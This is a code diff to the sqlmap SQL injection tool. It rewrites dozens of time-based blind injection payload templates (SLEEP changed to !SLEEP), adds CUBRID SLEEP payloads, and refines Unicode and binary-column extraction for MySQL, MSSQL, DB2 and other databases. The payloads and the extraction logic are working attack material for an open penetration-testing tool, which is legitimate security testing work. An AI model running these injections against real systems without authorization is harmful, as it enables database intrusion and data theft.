diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml
index 65d854c2332..3a774d15ad0 100644
--- a/data/xml/payloads/time_blind.xml
+++ b/data/xml/payloads/time_blind.xml
@@ -11,9 +11,9 @@
1
1,2,3,8,9
1
- AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])
@@ -31,9 +31,9 @@
3
1,2,3,9
1
- OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])
@@ -51,9 +51,9 @@
1
1,2,3,8,9
1
- AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+ AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])
- AND SLEEP([SLEEPTIME])
+ AND !SLEEP([SLEEPTIME])
@@ -71,9 +71,9 @@
3
1,2,3,9
1
- OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+ OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])
- OR SLEEP([SLEEPTIME])
+ OR !SLEEP([SLEEPTIME])
@@ -91,9 +91,9 @@
1
1,2,3,9
1
- AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+ AND [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])
- AND SLEEP([SLEEPTIME])
+ AND !SLEEP([SLEEPTIME])
#
@@ -112,9 +112,9 @@
3
1,2,3,9
1
- OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
+ OR [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM])
- OR SLEEP([SLEEPTIME])
+ OR !SLEEP([SLEEPTIME])
#
@@ -133,9 +133,9 @@
1
1,2,3,9
1
- AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ AND (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])
#
@@ -154,9 +154,9 @@
3
1,2,3,9
1
- OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ OR (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])
#
@@ -339,9 +339,9 @@
1
1,2,3,9
1
- RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))
+ RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))
- RLIKE SLEEP([SLEEPTIME])
+ RLIKE !SLEEP([SLEEPTIME])
@@ -359,9 +359,9 @@
1
1,2,3,9
1
- RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))
+ RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),!SLEEP([SLEEPTIME]),[RANDNUM]))
- RLIKE SLEEP([SLEEPTIME])
+ RLIKE !SLEEP([SLEEPTIME])
#
@@ -380,9 +380,9 @@
1
1,2,3,9
1
- RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])
@@ -400,9 +400,9 @@
1
1,2,3,9
1
- RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ RLIKE (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])
#
@@ -421,9 +421,9 @@
1
1,2,3,8,9
1
- AND ELT([INFERENCE],SLEEP([SLEEPTIME]))
+ AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))
- AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+ AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))
@@ -441,9 +441,9 @@
3
1,2,3,9
1
- OR ELT([INFERENCE],SLEEP([SLEEPTIME]))
+ OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))
- OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+ OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))
@@ -460,9 +460,9 @@
1
1,2,3,9
1
- AND ELT([INFERENCE],SLEEP([SLEEPTIME]))
+ AND ELT([INFERENCE],!SLEEP([SLEEPTIME]))
- AND ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+ AND ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))
#
@@ -480,9 +480,9 @@
3
1,2,3,9
1
- OR ELT([INFERENCE],SLEEP([SLEEPTIME]))
+ OR ELT([INFERENCE],!SLEEP([SLEEPTIME]))
- OR ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+ OR ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))
#
@@ -1092,6 +1092,45 @@
+
+ CUBRID AND time-based blind (SLEEP)
+ 5
+ 1
+ 1
+ 1,2,3,8,9
+ 1
+
+ AND [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)
+
+ AND [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)
+
+
+
+
+
+ Cubrid
+
+
+
+
+ CUBRID OR time-based blind (SLEEP)
+ 5
+ 1
+ 1
+ 1,2,3,9
+ 1
+ OR [RANDNUM]=(SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) FROM db_root)
+
+ OR [RANDNUM]=(SELECT SLEEP([SLEEPTIME]) FROM db_root)
+
+
+
+
+
+ Cubrid
+
+
+
Firebird >= 2.0 AND time-based blind (heavy query)
5
@@ -1624,9 +1663,9 @@
1
1,2,3,9
3
- (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)
+ (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)
- (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)
+ (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END)
@@ -1644,9 +1683,9 @@
1
1,2,3,9
3
- (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
+ (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
- (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR])
+ (SELECT [RANDNUM] FROM (SELECT(!SLEEP([SLEEPTIME])))[RANDSTR])
@@ -1704,9 +1743,9 @@
1
1,2,3,9
3
- ([INFERENCE] AND SLEEP([SLEEPTIME]))
+ ([INFERENCE] AND !SLEEP([SLEEPTIME]))
- ([RANDNUM]=[RANDNUM] AND SLEEP([SLEEPTIME]))
+ ([RANDNUM]=[RANDNUM] AND !SLEEP([SLEEPTIME]))
@@ -1723,9 +1762,9 @@
1
1,2,3,9
3
- ELT([INFERENCE],SLEEP([SLEEPTIME]))
+ ELT([INFERENCE],!SLEEP([SLEEPTIME]))
- ELT([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+ ELT([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))
@@ -1742,9 +1781,9 @@
1
1,2,3,9
3
- MAKE_SET([INFERENCE],SLEEP([SLEEPTIME]))
+ MAKE_SET([INFERENCE],!SLEEP([SLEEPTIME]))
- MAKE_SET([RANDNUM]=[RANDNUM],SLEEP([SLEEPTIME]))
+ MAKE_SET([RANDNUM]=[RANDNUM],!SLEEP([SLEEPTIME]))
@@ -2038,9 +2077,9 @@
1
2,3
1
- ,(SELECT (CASE WHEN ([INFERENCE]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))
+ ,(SELECT (CASE WHEN ([INFERENCE]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))
- ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))
+ ,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN !SLEEP([SLEEPTIME]) ELSE [RANDNUM] END))
diff --git a/data/xml/queries.xml b/data/xml/queries.xml
index 6ac58b7f6df..9bf22bac181 100644
--- a/data/xml/queries.xml
+++ b/data/xml/queries.xml
@@ -440,8 +440,8 @@
-
-
+
+
@@ -626,7 +626,7 @@
-
+
@@ -638,11 +638,11 @@
-
+
-
+
@@ -1026,7 +1026,7 @@
-
+
@@ -1159,7 +1159,7 @@
-
+
@@ -1347,6 +1347,7 @@
+
diff --git a/lib/core/agent.py b/lib/core/agent.py
index c7aea8824d7..bb313dcc491 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -527,6 +527,12 @@ def nullAndCastField(self, field):
else:
if hexRaw:
nulledCastedField = self.hexConvertField(field)
+ elif Backend.isDbms(DBMS.MYSQL) and kb.get("mysqlUtf8mb4"):
+ # NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; utf8mb4 preserves them
+ nulledCastedField = "CAST(%s AS CHAR CHARACTER SET utf8mb4)" % field
+ elif Backend.isDbms(DBMS.DERBY) and re.search(r"(?i)\bCOUNT\(", field):
+ # Derby rejects CAST(INTEGER AS VARCHAR); route the numeric COUNT through a CHAR intermediate
+ nulledCastedField = rootQuery.cast.query % ("CAST(%s AS CHAR(254))" % field)
elif not (Backend.isDbms(DBMS.SQLITE) and not isDBMSVersionAtLeast('3')):
nulledCastedField = rootQuery.cast.query % field
diff --git a/lib/core/common.py b/lib/core/common.py
index ab5edf895df..ef3b2936449 100644
--- a/lib/core/common.py
+++ b/lib/core/common.py
@@ -4001,8 +4001,9 @@ def decodeIntToUnicode(value):
retVal = getUnicode(raw, conf.encoding or UNICODE_ENCODING)
elif Backend.isDbms(DBMS.MSSQL):
# Reference: https://docs.microsoft.com/en-us/sql/relational-databases/collations/collation-and-unicode-support?view=sql-server-2017 and https://stackoverflow.com/a/14488478
- retVal = getUnicode(raw, "UTF-16-BE")
- elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
+ # supplementary codepoints (>0xFFFF, _SC collations) aren't 2-byte UTF-16; decode direct
+ retVal = _unichr(value) if value > 0xFFFF else getUnicode(raw, "UTF-16-BE")
+ elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.PRESTO, DBMS.H2, DBMS.HSQLDB, DBMS.DERBY, DBMS.MONETDB, DBMS.VERTICA): # Note: cases with Unicode code points (e.g. http://www.postgresqltutorial.com/postgresql-ascii/)
retVal = _unichr(value)
else:
retVal = getUnicode(raw, conf.encoding)
diff --git a/lib/core/enums.py b/lib/core/enums.py
index aa8cc4e6561..6249b42efa6 100644
--- a/lib/core/enums.py
+++ b/lib/core/enums.py
@@ -305,6 +305,7 @@ class OPTION_TYPE(object):
class HASHDB_KEYS(object):
DBMS = "DBMS"
DBMS_FORK = "DBMS_FORK"
+ MYSQL_UTF8MB4 = "MYSQL_UTF8MB4"
CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS"
CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT"
diff --git a/lib/core/option.py b/lib/core/option.py
index 4c92f0e264e..b1aa4e4bd83 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -2281,6 +2281,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.maxConnectionsFlag = False
kb.trueLength = None
kb.mergeCookies = None
+ kb.mysqlUtf8mb4 = None
kb.multiThreadMode = False
kb.multipleCtrlC = False
kb.negativeLogic = False
diff --git a/lib/core/settings.py b/lib/core/settings.py
index bc16079aa82..e16bd71ce56 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
from thirdparty import six
# sqlmap version (...)
-VERSION = "1.10.7.198"
+VERSION = "1.10.7.210"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@@ -934,6 +934,10 @@
# column names (not types) were fetched - i.e. blind dumping (keep in sync with BINARY_FIELDS_TYPE_REGEX)
BINARY_FIELDS_TYPE_KEYWORDS = ("BINARY", "BLOB", "BYTEA", "IMAGE", "RAW")
+# MySQL-only: BIT and spatial (WKB) columns store raw bytes that the NCHAR text-cast silently NULLs, so they
+# must be hex-extracted too (MSSQL/PostgreSQL 'bit' render fine as 0/1 or a bit-string, hence not global)
+MYSQL_BINARY_CAST_TYPE_REGEX = r"(?i)\A(bit|geometry|point|linestring|polygon|multipoint|multilinestring|multipolygon|geomcollection|geometrycollection)\b"
+
# Maximum number of redirections to any single URL - this is needed because of the state that cookies introduce
MAX_SINGLE_URL_REDIRECTIONS = 4
diff --git a/lib/techniques/blind/inference.py b/lib/techniques/blind/inference.py
index bb449c3d5fc..95f618c3d6e 100644
--- a/lib/techniques/blind/inference.py
+++ b/lib/techniques/blind/inference.py
@@ -672,8 +672,8 @@ def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None,
shiftTable = None
elif continuousOrder and shiftTable is None:
# Used for gradual expanding into unicode charspace (Note: leading value covers MySQL's
- # 3-byte ORD() range up to 0xEFBFBF, restoring CJK/non-Latin extraction - see issue #5171)
- shiftTable = [4, 2, 2, 3, 3, 3]
+ # 4-byte ORD() range for emoji/supplementary-plane, then 3-byte for CJK - see issue #5171)
+ shiftTable = [8, 4, 2, 2, 3, 3, 3]
if "'%s'" % CHAR_INFERENCE_MARK in payload:
for char in ('\n', '\r'):
diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py
index 7ba5c8b9f38..2dd6088a662 100644
--- a/plugins/dbms/db2/syntax.py
+++ b/plugins/dbms/db2/syntax.py
@@ -5,7 +5,8 @@
See the file 'LICENSE' for copying permission
"""
-from lib.core.convert import getOrds
+from lib.core.convert import getBytes
+from lib.core.settings import UNICODE_ENCODING
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
@@ -17,6 +18,13 @@ def escape(expression, quote=True):
"""
def escaper(value):
- return "||".join("CHR(%d)" % _ for _ in getOrds(value))
+ # CHR() is byte-based on DB2, so a non-ASCII codepoint needs its UTF-8 bytes to form a single char
+ result = []
+ for char in value:
+ if ord(char) < 128:
+ result.append("CHR(%d)" % ord(char))
+ else:
+ result.extend("CHR(%d)" % _ for _ in bytearray(getBytes(char, UNICODE_ENCODING, errors="replace", unsafe=False)))
+ return "||".join(result)
return Syntax._escape(expression, quote, escaper)
diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py
index e3fcb1cf6fa..f6e1d6600c7 100644
--- a/plugins/dbms/mysql/fingerprint.py
+++ b/plugins/dbms/mysql/fingerprint.py
@@ -95,6 +95,14 @@ def _commentCheck(self):
return None
+ def _checkUtf8mb4(self):
+ # NCHAR (utf8mb3) downgrades 4-byte chars (emoji) to '?'; cache whether utf8mb4 works ('' if not)
+ kb.mysqlUtf8mb4 = hashDBRetrieve(HASHDB_KEYS.MYSQL_UTF8MB4)
+
+ if kb.mysqlUtf8mb4 is None:
+ kb.mysqlUtf8mb4 = "utf8mb4" if inject.checkBooleanExpression("[RANDNUM]=CONVERT([RANDNUM] USING utf8mb4)") else ""
+ hashDBWrite(HASHDB_KEYS.MYSQL_UTF8MB4, kb.mysqlUtf8mb4)
+
def getFingerprint(self):
fork = hashDBRetrieve(HASHDB_KEYS.DBMS_FORK)
@@ -118,6 +126,8 @@ def getFingerprint(self):
hashDBWrite(HASHDB_KEYS.DBMS_FORK, fork)
+ self._checkUtf8mb4()
+
value = ""
wsOsFp = Format.getOs("web server", kb.headersFp)
diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py
index ac34a5ab1fb..0c8a2f289f8 100644
--- a/plugins/generic/entries.py
+++ b/plugins/generic/entries.py
@@ -41,6 +41,7 @@
from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapUnsupportedFeatureException
from lib.core.settings import BINARY_FIELDS_TYPE_REGEX
+from lib.core.settings import MYSQL_BINARY_CAST_TYPE_REGEX
from lib.core.settings import CHECK_ZERO_COLUMNS_THRESHOLD
from lib.core.settings import CURRENT_DB
from lib.core.settings import KEYSET_MIN_ROWS
@@ -178,7 +179,8 @@ def dumpTable(self, foundData=None):
# type is already known from the enumeration above, so this costs no extra request.
# (PostgreSQL excluded: its bytea already renders as readable '\xHEX' through the default text
# cast, and its hex path needs text input, so auto-hexing would double-encode.)
- autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column]))]
+ # MySQL BIT/spatial store raw bytes the NCHAR text-cast NULLs (unlike MSSQL/PostgreSQL 'bit', which render fine), so hex them too
+ autoBinary = [] if Backend.isDbms(DBMS.PGSQL) else [column for column in colList if columns.get(column) and (re.search(BINARY_FIELDS_TYPE_REGEX, getUnicode(columns[column])) or (Backend.isDbms(DBMS.MYSQL) and re.search(MYSQL_BINARY_CAST_TYPE_REGEX, getUnicode(columns[column]))))]
conf.binaryFields = (list(binaryFields) if binaryFields else []) + [_ for _ in autoBinary if not (binaryFields and _ in binaryFields)]
if autoBinary:
debugMsg = "auto-treating binary column(s) '%s' as binary fields" % ', '.join(unsafeSQLIdentificatorNaming(_) for _ in autoBinary)
diff --git a/tests/test_agent.py b/tests/test_agent.py
index 211fbb7fd8a..12d7a179cdb 100644
--- a/tests/test_agent.py
+++ b/tests/test_agent.py
@@ -108,6 +108,7 @@
# hexConvertField: dialects that DO have a hex function, mapped to its token.
HEX_FUNCTION = {
"Altibase": "HEX_ENCODE(",
+ "ClickHouse": "hex(",
"Cubrid": "HEX(",
"H2": "RAWTOHEX(",
"IBM DB2": "HEX(",